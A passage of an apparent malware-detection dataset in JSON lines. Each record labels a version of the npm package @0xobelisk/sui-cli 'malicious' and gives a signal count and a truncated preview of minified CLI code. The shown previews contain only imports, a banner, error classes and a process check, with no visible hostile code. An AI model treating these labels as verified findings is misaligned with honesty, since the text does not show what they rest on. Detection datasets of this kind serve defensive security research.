\\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as Ye}from\"@0xobelisk/sui-client\";import{Transaction as H}from\"@mysten/sui/transactions\";import{getFullnodeUrl as qe,SuiClient as Be}from\"@mysten/sui/client\";import{execSync as Le}from\"child_process\";import m from\"chalk\";import O from\"chalk\";import{ZodError as Ae}from\"zod\";import{fromZodError as Me,ValidationError as Oe}from\"zod-validation-error\";var z=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},g=class ext", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpkgd9q0ie/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpkgd9q0ie/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "0.5.24", "filename": "2024-11-24-@0xobelisk_sui-cli-v0.5.24.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp4j5o53bw/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport ao from\"yargs\";import{hideBin as io}from\"yargs/helpers\";import{Dubhe as ve}from\"@0xobelisk/sui-client\";import{Transaction as W}from\"@mysten/sui/transactions\";import{getFullnodeUrl as Se,SuiClient as Pe}from\"@mysten/sui/client\";import{execSync as Ee}from\"child_process\";import P from\"chalk\";import R from\"chalk\";import{ZodError as ue}from\"zod\";import{fromZodError as ge,ValidationError as me}from\"zod-validation-error\";var V=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},g=class extends Error{name=\"DubheCliError\"},D=class extends Error{name=\"UpgradeError\"},O=class extends Error{name=\"FsIibError\"};function v(e){if(e instanceof me)console.log(R.redBright(e.message));else if(e instanceof ue){let o=ge(e,{prefixSeparator:`\n- `,issueSeparator:`\n- `});console.log(R.redBright(o.message))}else e instanceof V?(console.log(R.red(e.message)),console.log(\"\"),console.log(R.blue(\"To learn more about Dubhe's configuration, please go to https://github.com/0xobelisk\"))):e instanceof g?console.log(R.red(e)):console.log(e)}import*as H from\"fs/promises\";import{mkdirSync as be,writeFileSync as we}from\"fs\";import{dirname as xe}from\"path\";import{SUI_PRIVATE_KEY_PREFIX as Ce}from\"@mysten/sui/cryptography\";import{execSync as fe,spawn as he}from\"child_process\";import l from\"chalk\";function ye(){try{let e=process.platform===\"win32\"?'tasklist /FI \"IMAGENAME eq sui.exe\" /FO CSV /NH':'pgrep -f \"sui start\"',o=fe(e).toString().trim();retur", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp4j5o53bw/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp4j5o53bw/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 7, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "0.5.22", "filename": "2024-11-06-@0xobelisk_sui-cli-v0.5.22.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpkiuo35cd/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport Ne from\"yargs\";import{hideBin as Re}from\"yargs/helpers\";import{Dubhe as re}from\"@0xobelisk/sui-client\";import{Transaction as $}from\"@mysten/sui/transactions\";import{getFullnodeUrl as ae,SuiClient as ce}from\"@mysten/sui/client\";import{execSync as ie}from\"child_process\";import p from\"chalk\";import g from\"chalk\";import{ZodError as q}from\"zod\";import{fromZodError as J,ValidationError as W}from\"zod-validation-error\";var E=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},a=class extends Error{name=\"DubheCliError\"};function _(e){if(e instanceof W)console.log(g.redBright(e.message));else if(e instanceof q){let o=J(e,{prefixSeparator:`\n- `,issueSeparator:`\n- `});console.log(g.redBright(o.message))}else e instanceof E?(console.log(g.red(e.message)),console.log(\"\"),console.log(g.blue(\"To learn more about Dubhe's configuration, please go to https://github.com/0xobelisk\"))):e instanceof a?console.log(g.red(e)):console.log(e)}import{mkdirSync as ee,writeFileSync as oe}from\"fs\";import{dirname as te}from\"path\";import{SUI_PRIVATE_KEY_PREFIX as ne}from\"@mysten/sui/cryptography\";import{execSync as Q,spawn as Z}from\"child_process\";import r from\"chalk\";function X(){try{let e=process.platform===\"win32\"?'tasklist /FI \"IMAGENAME eq sui.exe\" /FO CSV /NH':'pgrep -f \"sui start\"',o=Q(e).toString().trim();return process.platform===\"win32\"?o.toLowerCase().includes(\"sui.exe\"):o.length>0}catch{return!1}}async function b(e=!1){if(consol", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpkiuo35cd/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpkiuo35cd/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 7, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "0.5.36", "filename": "2024-12-14-@0xobelisk_sui-cli-v0.5.36.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpikrfr00e/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport Ht from\"yargs\";import{hideBin as Jt}from\"yargs/helpers\";import{execSync as Xe,spawn as ce}from\"child_process\";import w from\"chalk\";import Oe from\"chalk\";function T(){console.log(Oe.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as Le}from\"@0xobelisk/sui-client\";import{Transaction as H}from\"@mysten/sui/transactions\";import{getFullnodeUrl as ze,SuiClient as He}from\"@mysten/sui/client\";import{execSync as Je}from\"child_process\";import $ from\"chalk\";import O from\"chalk\";import{ZodError as Ke}from\"zod\";import{fromZodError as Re,ValidationError as Te}from\"zod-validation-error\";var z=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},g=class ext", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpikrfr00e/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpikrfr00e/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.0.3", "filename": "2024-12-26-@0xobelisk_sui-cli-v1.0.3.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp24hnlt__/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport ro from\"yargs\";import{hideBin as so}from\"yargs/helpers\";import{execSync as it,spawn as pe}from\"child_process\";import k from\"chalk\";import Te from\"chalk\";function j(){console.log(Te.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as He}from\"@0xobelisk/sui-client\";import{Transaction as J}from\"@mysten/sui/transactions\";import{getFullnodeUrl as Je,SuiClient as Ge}from\"@mysten/sui/client\";import{execSync as We}from\"child_process\";import f from\"chalk\";import M from\"chalk\";import{ZodError as Re}from\"zod\";import{fromZodError as je,ValidationError as Ne}from\"zod-validation-error\";var H=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},m=class ext", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp24hnlt__/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp24hnlt__/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "0.5.37", "filename": "2024-12-14-@0xobelisk_sui-cli-v0.5.37.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp2wzcnbaz/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport zt from\"yargs\";import{hideBin as Ht}from\"yargs/helpers\";import{execSync as Xe,spawn as ae}from\"child_process\";import _ from\"chalk\";import Ae from\"chalk\";function T(){console.log(Ae.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as qe}from\"@0xobelisk/sui-client\";import{Transaction as H}from\"@mysten/sui/transactions\";import{getFullnodeUrl as Be,SuiClient as Le}from\"@mysten/sui/client\";import{execSync as ze}from\"child_process\";import m from\"chalk\";import O from\"chalk\";import{ZodError as Me}from\"zod\";import{fromZodError as Oe,ValidationError as Ke}from\"zod-validation-error\";var z=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},g=class ext", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp2wzcnbaz/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp2wzcnbaz/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.0.10", "filename": "2025-01-20-@0xobelisk_sui-cli-v1.0.10.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmplq9vqq1e/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport Po from\"yargs\";import{hideBin as To}from\"yargs/helpers\";import{execSync as Pt,spawn as ge}from\"child_process\";import E from\"chalk\";import Ye from\"chalk\";function V(){console.log(Ye.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as et,Transaction as G}from\"@0xobelisk/sui-client\";import{execSync as tt}from\"child_process\";import h from\"chalk\";import F from\"chalk\";import{ZodError as Le}from\"zod\";import{fromZodError as Be,ValidationError as He}from\"zod-validation-error\";var z=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},p=class extends Error{name=\"DubheCliError\"},U=class extends Error{name=\"UpgradeError\"},q=class extends Error{name=\"FsI", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmplq9vqq1e/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmplq9vqq1e/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.0.11", "filename": "2025-01-28-@0xobelisk_sui-cli-v1.0.11.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpnv0nmap8/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport Po from\"yargs\";import{hideBin as To}from\"yargs/helpers\";import{execSync as Pt,spawn as ge}from\"child_process\";import E from\"chalk\";import Ye from\"chalk\";function V(){console.log(Ye.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as et,Transaction as G}from\"@0xobelisk/sui-client\";import{execSync as tt}from\"child_process\";import h from\"chalk\";import F from\"chalk\";import{ZodError as Le}from\"zod\";import{fromZodError as Be,ValidationError as He}from\"zod-validation-error\";var z=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},p=class extends Error{name=\"DubheCliError\"},U=class extends Error{name=\"UpgradeError\"},q=class extends Error{name=\"FsI", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpnv0nmap8/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpnv0nmap8/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "0.5.8", "filename": "2024-06-07-@0xobelisk_sui-cli-v0.5.8.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp20iu2b8a/package/dist/obelisk.js", "diff_preview": "#!/usr/bin/env node\nimport Le from\"yargs\";import{hideBin as Ze}from\"yargs/helpers\";import{execa as me}from\"execa\";var ge={command:\"localnode\",describe:\"Start a local Sui node for development\",builder(e){return e},async handler(){console.log(\"Clearing localnode history\"),console.log(\"Running: sui-test-validator\");let e=me(\"sui-test-validator\");process.on(\"SIGINT\",()=>{console.log(`\ngracefully shutting down from SIGINT (Crtl-C)`),e.kill(),process.exit()}),await e}},W=ge;import{requestSuiFromFaucetV0 as Se,getFaucetHost as Re}from\"@mysten/sui.js/faucet\";import{Ed25519Keypair as Ke}from\"@mysten/sui.js/keypairs/ed25519\";import{SuiClient as Ae,getFullnodeUrl as Me}from\"@mysten/sui.js/client\";import{TransactionBlock as z}from\"@mysten/sui.js/transactions\";import{Ed25519Keypair as ke}from\"@mysten/sui.js/keypairs/ed25519\";import{getFullnodeUrl as xe,SuiClient as ve}from\"@mysten/sui.js/client\";import{execSync as Ce}from\"child_process\";import c from\"chalk\";import S from\"chalk\";import{ZodError as ue}from\"zod\";import{fromZodError as fe,ValidationError as _e}from\"zod-validation-error\";var D=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Obelisk project\"},l=class extends Error{name=\"ObeliskCliError\"},B=class extends Error{name=\"UpgradeError\"},R=class extends Error{name=\"FsIibError\"};function P(e){if(e instanceof _e)console.log(S.redBright(e.message));else if(e instanceof ue){let t=fe(e,{prefixSeparator:`\n- `,issueSeparator:`\n- `});console.log(S.redBright(t.mes", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp20iu2b8a/package/dist/obelisk.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp20iu2b8a/package/package.json"], "malicious_signal_count": 6, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "0.5.9", "filename": "2024-06-07-@0xobelisk_sui-cli-v0.5.9.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp1k0n_vwf/package/dist/obelisk.js", "diff_preview": "#!/usr/bin/env node\nimport Le from\"yargs\";import{hideBin as Ze}from\"yargs/helpers\";import{execa as me}from\"execa\";var ge={command:\"localnode\",describe:\"Start a local Sui node for development\",builder(e){return e},async handler(){console.log(\"Clearing localnode history\"),console.log(\"Running: sui-test-validator\");let e=me(\"sui-test-validator\");process.on(\"SIGINT\",()=>{console.log(`\ngracefully shutting down from SIGINT (Crtl-C)`),e.kill(),process.exit()}),await e}},W=ge;import{Obelisk as Se}from\"@0xobelisk/sui-client\";import{requestSuiFromFaucetV0 as Re,getFaucetHost as Ae}from\"@mysten/sui.js/faucet\";import{SuiClient as Ke,getFullnodeUrl as Me}from\"@mysten/sui.js/client\";import{Obelisk as ke}from\"@0xobelisk/sui-client\";import{TransactionBlock as z}from\"@mysten/sui.js/transactions\";import{getFullnodeUrl as xe,SuiClient as ve}from\"@mysten/sui.js/client\";import{execSync as Ce}from\"child_process\";import c from\"chalk\";import S from\"chalk\";import{ZodError as ue}from\"zod\";import{fromZodError as fe,ValidationError as _e}from\"zod-validation-error\";var D=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Obelisk project\"},l=class extends Error{name=\"ObeliskCliError\"},F=class extends Error{name=\"UpgradeError\"},R=class extends Error{name=\"FsIibError\"};function P(e){if(e instanceof _e)console.log(S.redBright(e.message));else if(e instanceof ue){let t=fe(e,{prefixSeparator:`\n- `,issueSeparator:`\n- `});console.log(S.redBright(t.message))}else e instanceof D?(consol", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp1k0n_vwf/package/dist/obelisk.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp1k0n_vwf/package/package.json"], "malicious_signal_count": 6, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.0.8", "filename": "2025-01-08-@0xobelisk_sui-cli-v1.0.8.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp6tl4ch8f/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport fo from\"yargs\";import{hideBin as ho}from\"yargs/helpers\";import{execSync as ht,spawn as me}from\"child_process\";import k from\"chalk\";import Ne from\"chalk\";function N(){console.log(Ne.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as We}from\"@0xobelisk/sui-client\";import{Transaction as J}from\"@mysten/sui/transactions\";import{getFullnodeUrl as Ze,SuiClient as Qe}from\"@mysten/sui/client\";import{execSync as Xe}from\"child_process\";import y from\"chalk\";import T from\"chalk\";import{ZodError as Ve}from\"zod\";import{fromZodError as Ue,ValidationError as Ye}from\"zod-validation-error\";var H=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},m=class ext", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp6tl4ch8f/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp6tl4ch8f/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.1.13", "filename": "2025-04-22-@0xobelisk_sui-cli-v1.1.13.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpmr9xnxvq/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport Ao from\"yargs\";import{hideBin as Oo}from\"yargs/helpers\";import{execSync as At,spawn as fe}from\"child_process\";import C from\"chalk\";import He from\"chalk\";function L(){console.log(He.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as nt,Transaction as G}from\"@0xobelisk/sui-client\";import{execSync as rt}from\"child_process\";import b from\"chalk\";import j from\"chalk\";import{ZodError as Je}from\"zod\";import{fromZodError as ze,ValidationError as Ge}from\"zod-validation-error\";var X=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},p=class extends Error{name=\"DubheCliError\"},B=class extends Error{name=\"UpgradeError\"},H=class extends Error{name=\"FsI", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpmr9xnxvq/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpmr9xnxvq/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.1.3", "filename": "2025-03-02-@0xobelisk_sui-cli-v1.1.3.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpf8qqet3r/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport Oo from\"yargs\";import{hideBin as Mo}from\"yargs/helpers\";import{execSync as Tt,spawn as ge}from\"child_process\";import x from\"chalk\";import Le from\"chalk\";function V(){console.log(Le.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as tt,Transaction as G}from\"@0xobelisk/sui-client\";import{execSync as ot}from\"child_process\";import h from\"chalk\";import F from\"chalk\";import{ZodError as Be}from\"zod\";import{fromZodError as He,ValidationError as Je}from\"zod-validation-error\";var z=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},p=class extends Error{name=\"DubheCliError\"},U=class extends Error{name=\"UpgradeError\"},q=class extends Error{name=\"FsI", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpf8qqet3r/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpf8qqet3r/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", 